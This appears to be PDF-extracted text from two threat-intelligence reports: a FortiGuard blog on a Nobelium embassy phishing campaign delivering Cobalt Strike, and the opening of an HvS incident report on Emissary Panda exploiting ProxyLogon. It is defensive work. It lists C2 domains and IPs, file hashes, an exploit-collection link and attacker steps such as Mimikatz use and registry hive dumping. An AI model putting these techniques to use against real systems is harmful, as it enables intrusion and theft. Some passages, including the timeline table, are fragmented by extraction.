+Impacted Users: Windows users associated with the targeted embassies
+Impact: Compromised machines are under the control of the threat actor
+Severity Level: Medium
+Nobelium, also known as APT29 and Cozy Bear, is a highly sophisticated group of Russiansponsored cybercriminals. Approximately two years ago, countless system administrators
+and IT teams were forced to work around the clock to address Nobelium
+s attack on
+SolarWinds. And last year, they similarly targeted numerous IT supply chains in the hopes of
+being able to embed themselves once again deep inside IT networks. But fast forward to
+today, and the Nobelium group seems to have shifted their focus. This time, rather than
+targeting software solutions, they have begun targeting embassies. While these attacks may
+not impact the average Windows computer user, they do have potentially larger political
+ramifications.
+FortiGuard Labs has uncovered evidence that the Nobelium group is impersonating someone
+associated with the Turkish embassy in targeted email-based attacks. We will be analyzing
+one such attack that uses Omicron/Covid-19 as a lure. Those working in or around embassies
+are urged to be extra diligent when opening emails.
+In this blog, we will highlight techniques and code reuse by Nobelium. We will also highlight
+the usage of JARM, which is a widely used technology created by Salesforce to fingerprint
+and track malicious servers.
+Figure 1: Embassy email
+The source email address seems to be a legitimate, albeit compromised email account of a
+government department focused on social affairs. In tracing this, however, this email comes
+from a French-speaking country in Africa. It is disguised as coming from a Turkish embassy
+and sent to a Portuguese-speaking nation, although it is written in English.
+The email itself comes with a .HTML file attachment. This file contains malicious JavaScript
+designed to create an .ISO file on the user
+s computer. Figure 2 shows some similarities
+between a previous Nobelium attack and this current version.
+Figure 2: Malicious Javascript
+The original HTML Smuggling attack conducted by Nobelium used EnvyScout to convert a
+text blob into an .ISO file. EnvyScout is one of the toolsets used as a dropper in spearphishing
+attacks by this APT group. As seen in Figure 2, both samples used an application type of 
+xcd-image.
+ This part of the attack has changed very little. However, Figure 3 below shows the
+function used to create the .ISO file has been streamlined from previous iterations.
+Figure 3: ISO creation
+Once the .ISO file has been created on the user
+s machine, the attack requires a user to open
+the file. By default, opening an .ISO file on modern versions of Windows causes it to mount
+the file on the next available drive letter. Once mounted, the files can be seen. Figure 4 below
+shows this part of the attack chain.
+Figure 4: Mounted ISO files
+One of the previous variants of the Nobelium attack was dated almost exactly one year prior
+to the current attack. Both versions contain malicious shortcuts that point to a DLL file. In
+the current version, the DLL file inside the bin folder is named
+DeleteDateConnectionPosition.dll.
+In the past, one of the payloads used was a Cobalt Strike beacon, and this is the case in this
+current version. Given the current political situation, it is clearly in Russia
+s best interest to
+know what other governments are thinking, planning, and doing, and successful installation
+of a Cobalt Strike beacon provides a foothold into the embassies they are interested in
+monitoring. To achieve this objective, the shortcut launches the DLL using an export named
+DeleteDateConnectionPosition.
+Figure 5: DLL Exports
+Many of the exports inside the DLL contain junk code. As such, debugging the malware is
+faster than statically analyzing it. Once completed we discovered a C2 server, as shown
+below.
+Figure 6: Debugging the malicious DLL
+According to our sources, this server is not a shared server and the IP address only contains
+the sinitude[.]com domain.
+JARM Fingerprinting
+For those unfamiliar with JARM, it is a technology developed by Salesforce to fingerprint
+servers for the purposes of clustering. Specifically, JARM revolves around a server
+s TLS
+implementation. As further explained by Salesforce, it is not a secure crypto function, and as
+a result, it may produce false positives. Nevertheless, it has been a fairly accurate way to
+group malicious servers into relevant clusters.
+The JARM signature for sinitude[.]com has been found on numerous servers. Many of these
+servers have also acted as Cobalt Strike beacon C2 servers. During the course of our
+investigation, we found that this JARM signature was also found on C2 servers associated
+with the malware family BazarLoader. BazarLoader, among other things, contains code and
+application guardrails that makes sure it is not running on a Russian computer.
+By looking at network traffic since the beginning of this year, we found that several IP
+addresses are connected to sinitude[.]com. However, our data indicates that only one IP
+address (back in January) actually created a full connection to communicate with the C2.
+This IP address is located in Kharkiv, the second largest city in Ukraine. This Kharkiv IP
+address itself has communicated with unique malware families and is part of the TOR
+network.
+Conclusion
+In this latest attack, Nobelium has used techniques similar to those they have used in the
+past. Malicious emails remain the predominant way to infiltrate organizations, and Nobelium
+takes advantage of that attack vector. The biggest difference now is the political landscape.
+While previous attacks carried out by Nobelium may have been more technical in nature, this
+latest round has far more consequences on the political world stage.
+Fortinet Protections
+The FortiGuard Antivirus Service detects and blocks both the .ISO and DLL files as
+W64/CobaltStrike_Beacon.A!tr.
+The FortiGuard Antivirus Service detects and blocks the malicious html email attachment as
+JS/Agent.ONO!tr.
+All relevant network IOCs are blocked by the WebFiltering client.
+MITRE TTPs
+Initial Access
+Phishing: Spearphishing Attachment
+T1566.001
+Execution
+Command and Scripting Interpreter: JavaScript
+T1059.007
+User Execution: Malicious File
+T1204.002
+Defense Evasion
+Build Image on Host
+T1612
+Deobfuscate/Decode Files or Information
+T1140
+Obfuscated Files or Information: HTML Smuggling
+T1027.006
+Command and Control
+Application Layer Protocol: Web Protocols
+T1071.001
+Impact
+Resource Hijacking
+T1496
+IOCs
+File IOCs
+Covid.html (SHA2:
+A896C2D16CADCDEDD10390C3AF3399361914DB57BDE1673E46180244E806A1D0)
+Covid.iso (SHA2:
+3CB0D2CFF9DB85C8E816515DDC380EA73850846317B0BB73EA6145C026276948)
+DeleteDateConnectionPosition.dll (SHA2:
+6EE1E629494D7B5138386D98BD718B010EE774FE4A4C9D0E069525408BB7B1F7)
+Network IOCs
+Sinitude[.]com
+JARM Signature:
+2ad2ad0002ad2ad0002ad2ad2ad2ade1a3c0d7ca6ad8388057924be83dfc6a
+Learn more about FortiGuard Labs global threat intelligence and research and the
+FortiGuard Security Subscriptions and Services portfolio.
+HvS-Consulting AG
+Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon,
+OGNL Injection, and log4shell
+Date:
+14.02.2022
+Version:
+Classification: TLP-White
+Contact
+HvS-Consulting AG
+Parkring 20
+85748 Garching bei M
+nchen
+Germany
+Phone: +49 89 890 63 62 0
+E-Mail: incidentresponse@hvs-consulting.de
+https://www.hvs-consulting.de
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+CONTENTS OF THIS REPORT
+ABSTRACT .......................................................................... 1
+THE CHANGING THREAT LANDSCAPE IN 2021 ..... 2
+1 Just Another Incident Response investigation? . 2
+2 The Major Vulnerabilities in 2021 .......................... 3
+3 A Spotlight on the Role of APT Groups .............. 6
+4 Lessons Learned from 2021 .................................... 8
+INSIGHTS INTO AN EMISSARY PANDA ATTACK . 10
+5 Timeline of the Attack .............................................10
+5.1 Phase 1: Initial Compromise ......................................... 12
+5.2 Phase 2: Persistence ....................................................... 13
+5.3 Phase 3: Reaction and Last Data Exfiltration ........... 13
+6 Description of Observed TTPs ............................. 14
+6.1 Resource Development ................................................. 15
+6.2 Initial Access ...................................................................... 15
+6.3 Execution............................................................................ 15
+6.4 Persistence ......................................................................... 16
+6.5 Privilege Escalation .......................................................... 17
+6.6 Defense Evasion ............................................................... 17
+6.7 Credential Access ............................................................ 19
+6.8 Discovery ............................................................................ 19
+6.9 Lateral Movement .......................................................... 20
+6.10 Collection .......................................................................... 20
+6.11 Command and Control.................................................. 21
+7 OSINT analysis of C2 infrastructure ................... 22
+8 Malware Analysis of HyperBro............................. 23
+8.1 Overview ........................................................................... 23
+8.2 PE Loader .......................................................................... 24
+8.3 Capabilities ....................................................................... 28
+8.4 HyperBro Configuration Extractor ............................. 30
+9 Detection of Emissary Pandas activities ............. 31
+9.1 Indicators of Compromise (IOCs) ............................... 31
+9.2 YARA Rules ....................................................................... 34
+9.3 Defender Detection Rules ............................................ 36
+THE TWO EMPHASES OF THE REPORT
+THE CHANGING THREAT LANDSCAPE IN 2021
+A summary of our observations of the threat
+landscape in 2021, the activities of APT groups, and
+derived recommendations for your cyber security
+strategy. Start reading on page 2.
+INSIGHTS OF AN EMISSARY PANDA ATTACK
+Here you find a lot of technical details like the
+timeline, TTPs, IOCs of an Emissary Panda attack,
+including our malware analysis results of their
+HyperBro malware. Start reading on page 10.
+ HvS-Consulting AG 2022
+Page 1 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+ABSTRACT
+ProxyLogon (Hafnium) in Exchange, OGNL injection in Confluence, log4shell in the log4j library. 2021 was
+rife with critical vulnerabilities. They were exploited by ransomware gangs and hackers for mining crypto
+currencies. But where have the professional spies, the APT groups been? Did they miss such opportunities
+and take a vacation from cyber warfare? Surely they didn't. And we have collected evidence.
+The benefactors of the scatter fire
+The APT group Emissary Panda (also known as APT27, LuckyMouse) has exploited the Microsoft Exchange
+vulnerability "ProxyLogon", often publicly referred to as "Hafnium" vulnerability, to carry out targeted
+industrial espionage. The particularly perfidious aspect of this is that they intentionally acted like "ordinary
+hackers" in order not to trigger a comprehensive analysis and remediation. With great success.
+We analyzed several incidents and found that some customers did not seriously follow up on a ProxyLogon
+compromise because at first glance it looked like an attack by an occasional attacker. This is how Emissary
+Panda (APT27) managed to run through the classic APT kill chain and steal trade secrets undetected for
+months.
+Our report not only provides background and details on the process, the TTPs and the IOCs, but also initial
+evidence that the OGNL injection in Confluence was and is also being of interest for targeted industrial
+espionage. The same applies for log4shell.
+Strategies for Cyber Security 2022
+The effects of the global vulnerabilities from 2021 will only gradually come to light.
+We have to assume that numerous APT and other compromises by ProxyLogon (Exchange), OGNL
+injection (Confluence) and log4shell (Log4j) are still undetected. Especially for log4shell, the typical
+detection period of three to six months has not even been reached yet.
+In addition, global vulnerabilities will again come to light and be exploited in 2022. Anything else would
+be close to a miracle. Companies are therefore well advised to prepare for this. We have the following
+recommendations based on our experience and findings, which are described more in detail in section
+Lessons Learned from 2021 on page 8.
+Prediction
+Protection
+Detection/Response
+Subscribe to advisory feeds
+Only pros help against pros
+Asset management rules! Take
+care of your CMDB
+Create a plan B like BCM
+The mean time to detect (MTD)
+must be reduced
+Take any compromise seriously
+Readiness saves time and
+money
+Thinking outside the box
+Every critical vulnerability is
+equally important
+Patch critical vulnerabilities
+immediately
+If you want to share just the summary with your management, you will find it also short and concise on
+our webpage: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27/
+ HvS-Consulting AG 2022
+Page 1 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+THE CHANGING THREAT LANDSCAPE IN 2021
+Just Another Incident Response investigation?
+In October 2021, one of our customers was notified by a government agency about suspicious activities
+on their network. Command and Control (C2) traffic and data exfiltration was allegedly observed. After a
+quick analysis of the firewall logs, the customer was able to verify the suspicion and realize that the traffic
+had started several months earlier.
+As a result, the customer decided to investigate further and ask HvS to conduct a situation assessment. In
+the first step of the investigation, ten internal systems with C2 traffic were identified and compromise scans
+of them were performed. These scans proofed a clear compromise of these systems and the presence of
+HyperBro, a Remote Access Tool (RAT), and other typical attack traces. A comprehensive Incident
+Response (IR) was then initiated with the goal of analyzing the entire infrastructure to determine the level
+of compromise, identify the entry vector, uncover the actor's tactics, techniques, and procedures (TTPs),
+assess the impact, and finally plan remediation actions.
+Up to this point, this case was a normal Advanced Persistent Threat (APT) incident with
+common TTPs. The case became interesting when we correlated the Indicators of
+Compromise (IOC) of this incident with the IOCs of our previous incidents. This
+correlation led to unexpected matches between incidents that at first glance appeared
+to be unrelated, which is described in more detail in section A Spotlight on the Role of
+APT Groups.
+One of the first defensive measures was to deploy an Endpoint Detection and Response (EDR) tool on all
+endpoints. This was to increase visibility and provide capabilities for containment and response, which later
+proved to be crucial. While preparing for remediation, the actor began collecting data again, using the
+domain administrator privileges it had previously gained. This allowed near real-time countermeasures by
+the IR team, which are described in detail in Phase 3: Reaction and Last Data Exfiltration. These
+countermeasures bought management the time to decide on a complete cut-off from the Internet until
+remediation was finished.
+The collected IOCs from the forensic analyses, OSINT searches, the observed TTPs, and analogies between
+the RAT and the HyperBro malware pointed to an attribution to the Emissary Panda 1 group, which was
+also consistent with the authorities' previous assumption.
+One of the most interesting facts was the determined entry vector: all identified
+traces date back exactly to March 04, 2021, the day when the large-scale
+exploitation of the ProxyLogon vulnerability started. The first system to show
+C2 traffic was the Exchange server, and within less than an hour, additional
+systems were affected. While the Exchange Server compromise was detected
+in March and the system was recovered during that time, the other infected
+systems were not detected, leaving the door open for the actor. The entire
+sequence of events leads to the assumption that the exploitation of
+ProxyLogon in this case was not an opportunistic attack. When asked by the
+customer's top management if they could imagine being on the short list of a
+Chinese actor, they indicated that they were aware of this risk.
+https://attack.mitre.org/groups/G0027/ aka APT27, TG-3390, Bronze Union, Lucky Mouse, Iron Tiger, UNC215
+ HvS-Consulting AG 2022
+Page 2 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+2 The Major Vulnerabilities in 2021
+As in every year, many vulnerabilities were discovered in 2021, for which vendors released hotfixes,
+administrators hopefully applied them, and security personnel reviewed infrastructure for successful
+remediation. Meanwhile, hackers developed exploits and used them to compromise the remaining
+vulnerable systems and gain an advantage. Business as usual?
+However, one thing has changed in the last year: The quality of some discovered vulnerabilities was
+outstanding in terms of the software affected, the ease of exploitation and impact, and the frequency of
+occurrence was higher than ever before. However, things have also changed on the attackers' side: Some
+of these vulnerabilities were discovered not with good intentions by security researchers. They were
+searched for in order to use them for attack campaigns. This resulted in exploits being available early and
+widespread exploitation by various actors, sometimes even before the affected organizations could react.
+Looking back at 2021, the following vulnerabilities, among others, immediately come to mind:
+Microsoft Exchange was affected by several security vulnerabilities in 2021, which
+became very critical mainly due to chaining them in attacks.
+In March 2021, ProxyLogon 2, often publicly referred to as Hafnium, was finally
+made public, while rumors of targeted exploitation had already existed since
+November 2020. Immediately following the disclosure, a previously unseen
+wave of widespread exploitation followed before most organizations could respond and some
+were not even aware of the vulnerability. During this time, we analyzed 84 Microsoft Exchange
+instances from various customers with our preferred APT scanner THOR 3 and found that 96%
+of them were scanned for ProxyLogon and in 44% of the cases the vulnerability was also
+exploited.
+Figure 1: Scanning and exploitation of ProxyLogon in Germany.
+CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065
+https://www.nextron-systems.com/thor/
+ HvS-Consulting AG 2022
+Page 3 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+ProxyLogon was just one vulnerability in a whole series of vulnerabilities that put Exchange
+environments at risk. There were also ProxyOracle, ProxyShell, ProxyToken, and other Remote
+Code Execution (RCE) vulnerabilities 4 with publicly available exploits, as this collection shows:
+https://github.com/FDlucifer/Proxy-Attackchain. We received some customer requests to
+analyze compromised Exchange servers, claiming to have fixed the ProxyLogon vulnerability
+and not being able to explain how this could happen.
+Remarkably, the attention of administrators, security experts and the trade press decreased
+from vulnerability to vulnerability - despite vendor advisories, available exploits, and warnings
+about active abuse. The Exchange issue became annoying, we heard more than once "I just
+can't patch Exchange anymore" and reports about it were no longer clickbait.
+In August 2021, Atlassian's Confluence was affected by an easy-to-exploit RCE
+vulnerability 5 due to a OGNL injection. Shortly after the disclosure, ready-to-use
+exploits were available, and widespread exploitation attempts were observed on the
+Internet. In this case, many publicly accessible environments were also compromised.
+In contrast to ProxyLogon, we received comparatively few requests for proactive
+analysis, but more requests for post-breach analysis.
+The RCE vulnerability in the widely used Java library log4j 6, also known as log4shell,
+once again generated a lot of attention on the part of defenders and attackers in
+December 2021. Again, it took only a few hours before the first widespread scans for
+affected systems and exploitation attempts began. With the previously mentioned
+vulnerabilities, it was easy to assess whether an organization was affected, and the
+scope of analysis was limited to individual systems. In the case of log4shell, on the other hand, the
+effort was higher, and especially the proof of successful exploitation was laborious, as it had to be
+provided for each system individually 7. Since it was close to Christmas and many employees were
+already on vacation, some organizations decided to fix the vulnerability as part of their regular patch
+cycle and hope that they would not fall victim to an attack. Even though the number of attacks has
+decreased in early 2022, we and many other security experts 8 believe that there are still many
+undiscovered vulnerabilities whose impact will only become apparent in the coming months, and that
+many applications will remain vulnerable for a long time.
+ProxyOracle: CVE-2021-31196 and CVE-2021-31195; ProxyShell: CVE-2021-34473, CVE-2021-34523 and CVE-202131207; ProxyToken: CVE-2021-33766; another RCE CVE-2021-42321
+CVE-2021-26084
+CVE-2021-44228 and CVE-2021-44832
+https://www.hvs-consulting.de/en/log4j-log4shell-tips-and-guidelines-for-action/
+https://news.sophos.com/en-us/2022/01/24/log4shell-no-mass-abuse-but-no-respite-what-happened/
+ HvS-Consulting AG 2022
+Page 4 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+Figure 2: Timeline of release, global attention, and breach detection of selected vulnerabilities in 2021.
+Looking at the various players who were looking for, and in some cases abusing vulnerable
+systems, four categories can be distinguished based on their motivation and impact:
+As usual, many security researchers have tried to map the attack surface and/or to
+warn the affected organizations. Even if they do not compromise systems during
+scanning, they leave traces. Operators must spend time to figure out the intent of the attack attempt.
+The largest group were script kiddies and hobbyists who tried to exploit these vulnerabilities for fun or
+to achieve certain smaller goals like deploying crypto miners or web shells 9. Since they usually do not
+try to move laterally, the impact was limited to the compromised system.
+The group with the most attention were opportunistic cybercrime gangs, especially ransomware
+groups, or professional hackers with the goal of sabotaging and extorting organizations or placing
+backdoors and selling access to companies on the black market. In case of successful ransomware
+attacks, high financial and business impact was caused.
+But there is a fourth group, often overlooked, that has benefited from the scatter fire of the previously
+mentioned attackers: APT groups and advanced hackers. Because their attacks are more targeted, the
+total number of attacks is lower. The number of unreported cases is also much higher, as the impact
+is not as obvious to the public as in the case of ransomware. The actual impact through stolen
+information and intellectual property is also difficult to assess. Since many victims are not aware of the
+risk of becoming victims of espionage, APT groups are often underestimated as actors.
+IOCs from a ProxyShell exploitation: https://github.com/hvs-consulting/ioc_signatures/tree/main/Proxyshell
+ HvS-Consulting AG 2022
+Page 5 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+3 A Spotlight on the Role of APT Groups
+Based on the knowledge that APT groups also exploited these vulnerabilities, which is not
+at all surprising, we conducted more in-depth research and correlated IOCs with related
+IR engagements. In doing so, we made an interesting observation.
+ProxyLogon played a special role among last year's high-profile vulnerabilities, as it was
+not only widely abused by APT groups. The more prominent name "Hafnium" is not derived from the
+metal, but from the APT group Hafnium. Shortly after the critical vulnerabilities in Microsoft Exchange
+became public, there were many reports about APT groups actively abusing this flaw:
+Hafnium 10, which is suspected being first in detecting and exploiting those vulnerabilities 11:
+Emissary Panda 12, whose activities we describe in more detail in this document.
+Fancy Bear 13, which is known to attack Microsoft Exchange instances for a long time 14 and recently new
+activities in Germany were observed.
+Tick, Calypso, Websiic, Winnti Group 15 and a not precisely specified Iranian government-sponsored
+APT actor 16 and certainly, many groups more.
+As for the critical RCE in Confluence, the situation seems to be completely different. If you search reports,
+blogs, and other security feeds, you will mainly find information about abuse to deploy crypto miners. For
+the time being, we can confirm this observation, as we have also found this behavior in various
+investigations of compromised Confluence servers. In addition, there are single reports that ransomware
+groups also occasionally abuse this vulnerability. To our knowledge, there have been several instances
+where attackers exploited this vulnerability shortly after its disclosure, installed RAT tools, and waited for a
+highly privileged administrator to log in. Once control over the infrastructure was established, all the
+victim's systems were started to be encrypted.
+So far, nothing has been found in the public about the connection between APT groups and the use of
+the OGNL injection vulnerability to gain a foothold in victims' infrastructures. During malware analysis of
+the Emissary Panda incident mentioned earlier, we found an additional C2 IP in the configuration. This IP
+has never been reported as malicious or abused and appears to be part of Emissary Panda's dedicated
+infrastructure and not a compromised third-party system.
+https://attack.mitre.org/groups/G0125/ aka Operation Exchange Marauder
+https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
+https://attack.mitre.org/groups/G0027/ aka APT27, TG-3390, Bronze Union, Lucky Mouse, Iron Tiger, UNC215
+https://attack.mitre.org/groups/G0007/ aka APT28, Sofacy, Pawn Storm, Strontium, Tasr Team
+https://attack.mitre.org/techniques/T1190/
+https://cybernews.com/security/10-apt-groups-that-joined-the-ms-exchange-exploitation-party/
+https://www.cisa.gov/uscert/ncas/alerts/aa21-321a
+ HvS-Consulting AG 2022
+Page 6 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+Thanks to the detailed tracking of all IOCs of our incidents in a MISP 17, the correlations between the events
+were easily identified due to the C2 IP. These events belong to analyses of compromised Confluence
+servers that were previously performed and revealed crypto miner infections, but no evidence of RATs or
+lateral movement. In a few analyses, we identified this IP as a node scanning for vulnerable Confluence
+systems.
+Knowing that this IP is part of Emissary Panda's infrastructure and was rarely used in their campaigns
+suggests that Emissary Panda was also scanning for vulnerable Confluence instances. Thus, the tactic of
+flying under the radar
+ was a complete success.
+Figure 3: Correlation of a so far unknown Emissary Panda C2 IP to IR engagements of compromised Confluence servers.
+In contrast, the log4shell vulnerability in log4j received more attention from the security community, IT
+organizations, and the press - not just the specialist press. But all kinds of attackers were also attracted to
+this vulnerability. One reason for this could also be that the effort required to identify and mitigate the
+vulnerability is much higher for the affected organizations, making it more likely for attackers to benefit
+from exploitation capabilities over a longer period. Reports and alerts were published very quickly 18,
+reminding again to take preventive measures, as almost the same APT groups as ProxyLogon were seen
+actively exploiting the vulnerability:
+Hafnium
+Emissary Panda 19
+Charming Kitten - an Iranian government-sponsored actor
+And many groups more
+Although there have not yet been any incident response deployments where the entry vector has been
+identified as a log4shell misuse, we expect this to happen within the next few weeks or months, which is
+still the average time to breach discovery.
+https://github.com/MISP/MISP
+https://therecord.media/log4shell-attacks-expand-to-nation-state-groups-from-china-iran-north-korea-andturkey/ and https://www.securityweek.com/microsoft-spots-multiple-nation-state-apts-exploiting-log4j-flaw
+https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/
+ HvS-Consulting AG 2022
+Page 7 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+4 Lessons Learned from 2021
+Looking ahead to 2022 and the following years, we do not assume that there will be fewer critical
+vulnerabilities and attacks. Rather, the opposite will be the case! Therefore, every organization must think
+about how it is going to deal with the threat situation in the future.
+Prediction: It becomes more and more important to be in front of the wave!
+This can be achieved by implementing mechanisms that provide early warnings about
+newly discovered vulnerabilities, remediation actions, and hotfixes. The most reliable
+source are the manufacturers' advisory feeds, since relying on the specific press or
+warnings from authorities naturally entails a certain time delay and should therefore
+only be the fallback solution.
+In order to quickly assess whether and to what extent you are affected by a vulnerability, a good
+knowledge of your infrastructure and especially the publicly accessible parts - regardless of whether
+they are on-premises or in a cloud - is crucial, i.e., a well-filled Configuration Management
+Database (CMDB) / asset management is a must.
+In addition, it is helpful to be aware of the threat situation, incorporate it into your risk analysis, and
+plan appropriate countermeasures. While any company can fall victim to opportunistic cybercrime,
+assessing the likelihood of targeted attacks is more difficult. Despite all the challenges, it is negligent
+to ignore these risks. Even if protection against targeted attacks is not the primary goal, early
+implementation of protective measures is an investment in the future, as cybercriminals often mimic
+the TTPs of APT groups.
+Protection: Defined processes and workflows for rapid reaction are key!
+In order to be able to act quickly in the event of a newly discovered threat, a
+coordinated and tested processes must be in place. While normal patch management
+processes often allow a grace period of a few days or even several weeks before
+patches must be applied, emergency processes must be in place to react within a few
+hours in such cases.
+A patch is not always immediately available or applicable, so a range of containment measures must
+be prepared, for example in the case of ProxyLogon, which blocks Internet access to Outlook Web
+App and ActiveSync. The impact on business processes must be considered, and appropriate Business
+Continuity Management (BCM) plans with decision criteria and authorities must be defined. Especially
+when critical business services are affected, it is difficult to make the decision between business impact
+and IT infrastructure compromise without being prepared.
+Another important aspect is to be able to act at any time. Many vulnerabilities become known shortly
+before the weekend or during the vacation season. Attackers are distributed all over the world and
+sometimes specifically wait for such off-peak times. You must be able to react to a changed threat
+situation at any time - both on the technical and on the management level.
+As the handling of ProxyOracle, ProxyShell, and to some extent the Confluence vulnerability has shown,
+the resources of many IT departments were overloaded, which delayed remediation or even led to
+resignation. As with operational incidents, time reserves must be planned for security incidents, both
+in the security teams and in IT.
+ HvS-Consulting AG 2022
+Page 8 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+Not all attackers exploit vulnerabilities immediately, sometimes they wait until the first waves are over
+and thus the attention dies down. Even if there are no exploits available for every vulnerability or active
+exploitation has been observed, the reverse conclusion does not apply here that these are less critical.
+Every high-rated or critical vulnerability must be equally important to you.
+Detection and response: Be prepared for the next high-profile vulnerability!
+Capabilities are needed to determine appropriate strategies and techniques for
+detecting potentially compromised assets, identifying exploitation attempts,
+evaluating whether they have been successful, and recommending next steps or
+even directly initiating forensic investigations. Such capabilities should be
+considered sovereign tasks, as the resources of security service providers are also
+limited. Similar events such as ProxyLogon or log4shell may cause bottlenecks,
+especially if no contracts have been concluded beforehand.
+The average time to detection of successful attacks needs to be shortened, as huge spread and
+damage can occur within a period of three to six months. For opportunistic attacks, the time periods
+are much shorter, but the past has shown that with a quick and rigorous response, even ransomware
+attacks can successfully be stopped before encryption begins.
+If systems have been compromised or suspicions have been raised, a thorough analysis of the level of
+compromise of the entire environment is critical. At a minimum, the analysis objectives must be
+"Can the known IOCs be detected on other systems?"
+"What credentials may have been exposed and has data been exfiltrated?"
+If you underestimate this step, you may miss the chance to get ahead of the attackers and stop them
+at the beginning of the attack chain, as the following sections show.
+ HvS-Consulting AG 2022
+Page 9 of 38
+HvS Incident Response Report
+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+INSIGHTS INTO AN EMISSARY PANDA ATTACK
+5 Timeline of the Attack
+The attack can roughly be divided in three phases.
+The first phase was the initial compromise and achievement of objectives. The objectives included the
+privilege escalation and espionage of intellectual property.
+The second phase was the persistence phase, which lasted for seven months.
+In the final phase, the attackers changed their persistence strategy from Phase 2 and attempted to
+exfiltrate data again. This was likely a reaction to a detection of an attack to another company with the
+same IOCs.
+Figure 4: Attack Phases
+The following table describes the timeline of the attack with anonymous hostnames. The timestamps were
+converted to UTC+0. The 
+Attacker
+ column describes which resource (IP, compromised system, etc.) the
+attacker uses, and the 
+Target
+ column describes the system, which is targeted by the activity.
+ HvS-Consulting AG 2022
+Page 10 of 38
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+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+Timestamp 20
+Target
+Attacker
+Comment
+Phase 1
+2021-03-04 07:40
+EX01
+104.168.236.46
+C2 communication between Exchange Server and C2 IP
+address
+2021-03-04 08:36
+Client01
+2021-03-04 08:36
+Client01
+2021-03-04 08:39
+FS01
+Drop and execution of HyperBro backdoor on File server
+system
+2021-03-04 08:39
+FS01
+Creation of a Windows Service for persistence
+2021-03-04 08:39
+FS01
+2021-03-04 14:40
+FS01
+2021-03-07 18:03
+APP01
+Drop and execution of HyperBro backdoor on a client system
+104.168.236.46
+104.168.236.46
+Beginning of C2 communication
+Beginning of C2 communication
+Creation of Rar.exe on FS01
+104.168.236.46
+First C2 communication of APP01
+Phase 2
+2021-04-23 15:57
+Intranet
+Drop and execution of HyperBro backdoor on Intranet server
+2021-04-23 16:02
+APP02
+Drop and execution of HyperBro backdoor on Database of
+APP01
+2021-04-23 16:03
+APP02
+104.168.236.46
+First C2 communication of the Database System APP02
+2021-08-19 10:30
+APP01
+87.98.190.184
+C2 communication of APP1
+Phase 3
+2021-10-18
+Attacker changed DNS Domain entry to 127.0.0.1
+2021-10-18 21:46
+APP01 &
+APP02
+87.98.190.184
+C2 communication of APP01 & APP02
+2021-10-31 06:31
+APP03
+87.98.190.184
+C2 communication
+2021-10-31 18:50
+APP04
+APP01
+Lateral Movement
+2021-10-31 18:53
+APP04
+87.98.190.184
+C2 communication
+2021-11-09 15:59
+FS01
+Intranet
+Reconnaissance with wmic and tasklist
+2021-11-09 16:03
+FS01
+Intranet
+Remote creation of batch script with wmic
+2021-11-09 16:05
+FS01
+Intranet
+Remote creation of Rar.exe (WinRar)
+2021-11-09 16:06
+FS01
+Intranet
+Begin of targeted collection by executing Rar.exe remotely via
+wmic
+2021-11-09 16:09
+APP05
+Reconnaissance with net.exe
+2021-11-09 16:25
+FS01
+Local execution of Rar.exe
+All timestamps in this report are given in UTC+0
+ HvS-Consulting AG 2022
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+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+Timestamp 20
+Target
+Attacker
+Comment
+FS01
+Creation of first Rar package for exfiltration
+APP05
+Testing of different credentials in net use command for
+mounting the IPC share
+2021-11-09 16:53
+APP02
+Execution of Mimikatz
+2021-11-09 16:54
+APP02
+Exports of Registry (SAM, SYSTEM, SECURITY)
+2021-11-09 16:58
+APP02
+Packaging of Registries with Rar.exe
+APP02
+Another try of targeted collection by executing Rar.exe locally
+but by specifying remote shares in the command
+2021-11-09 16:38
+2021-11-09 16:48
+2021-11-09 19:28
+FS01
+FS01
+Internet Cutoff and Remediation
+Phase 1: Initial Compromise
+Figure 5 provides a simplified overview of the attack, the C2 channels, and the compromised systems.
+Figure 5: Attacker
+s course of action during Phase 1.
+The first known activity of the attack occurred on 04.03.2021 at 07:40 (UTC+0) with the first communication
+from the Exchange Server (EX01) to a known C2 IP address of the attacker. It is assumed that the initial
+compromise occurred shortly before this event. Since the first C2 communication originated from the
+Exchange Server, and the event occurred very close to the first disclosure of the ProxyLogon vulnerability
+by Microsoft, the initial access vector is assumed to be ProxyLogon.
+About an hour after the initial compromise, Emissary Panda moved laterally to the file server as well as to
+a client. On both of these systems the HyperBro backdoor was dropped, as described in Section 8. On the
+same day, a file with the name 
+Rar.exe
+ was created on the server fileserver. The fact that the fileserver
+was the first target, and the creation of 
+Rar.exe
+, support the thesis that the main objective of the attack
+was espionage of intellectual property. With full access to the fileserver the objectives were fulfilled in the
+first days of the attack.
+ HvS-Consulting AG 2022
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+The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell
+Phase 2: Persistence
+After the objectives of initial access and data exfiltration were fulfilled, the next objective of this APT was
+persistence and remaining undetected (long-term access). These objectives were achieved in Phase 2 of
